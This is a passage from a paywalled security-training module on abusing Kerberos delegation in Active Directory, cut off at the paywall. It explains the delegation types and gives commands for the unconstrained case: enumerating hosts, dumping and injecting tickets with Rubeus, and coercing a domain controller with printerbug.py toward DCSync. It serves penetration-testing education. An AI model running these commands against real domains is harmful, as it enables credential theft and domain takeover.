Academy

Module 8 Β· Kerberos Delegation Abuse πŸ”’

Manish Garg
Manish Garg Associate CISSP Β· RingSafe
April 22, 2026
4 min read

Kerberos delegation lets a service act on behalf of a user when talking to another service. Web frontend authenticates user; web frontend needs to query backend DB as that user; delegation lets this work without the user directly authenticating to the DB. It’s a useful feature. It’s also one of the most abused paths to Domain Admin in modern engagements.

The three delegation types

  • Unconstrained: service can act as user for ANY other service. Attacker who compromises an unconstrained-delegation server gets TGT of every user who authenticates to it.
  • Constrained: service can act as user for SPECIFIC other services. Abuse via S4U2Self + S4U2Proxy chain.
  • Resource-Based Constrained Delegation (RBCD): introduced 2012. Target resource specifies which accounts can delegate to it. Changed the attack surface significantly.

Unconstrained delegation abuse

When a computer has unconstrained delegation, any user who authenticates to it has their TGT cached on that computer (so it can be used to authenticate onwards). This is a classic massive risk.

# Find unconstrained delegation computers
Get-DomainComputer -Unconstrained -Properties Name, DNSHostName

# If attacker compromises SERVER01 (unconstrained delegation enabled)
# Wait for privileged user to authenticate to SERVER01
# (Coerce if needed: PetitPotam, PrinterBug to make DC authenticate)

# Extract cached TGT
Rubeus triage    # shows cached tickets
Rubeus dump /luid:0x1234abcd    # extracts specific ticket
Rubeus ptt /ticket:BASE64TICKET   # use the ticket

# Coercion via PrinterBug
# Tool: SpoolSample.exe or printerbug.py
python3 printerbug.py corp/user:pass@DC01.corp.local SERVER01.corp.local
# DC01 authenticates to SERVER01 β†’ DC$ TGT cached β†’ DCSync possible

Constrained delegation abuse (S4U)

If you control a service account configured with constrained delegation to target service, you can impersonate any user to that service.

πŸ” Advanced Module Β· Pro Tier

Continue reading with Pro tier (β‚Ή4,999/year)

You've read 38% of this module. Unlock the remaining deep-dive, quiz, and every other Advanced/Expert module.

136+ modulesAll levels up to this tier
20-question quizzesUnlimited retries with explanations
Completion certificatesShareable on LinkedIn
2 more sections locked below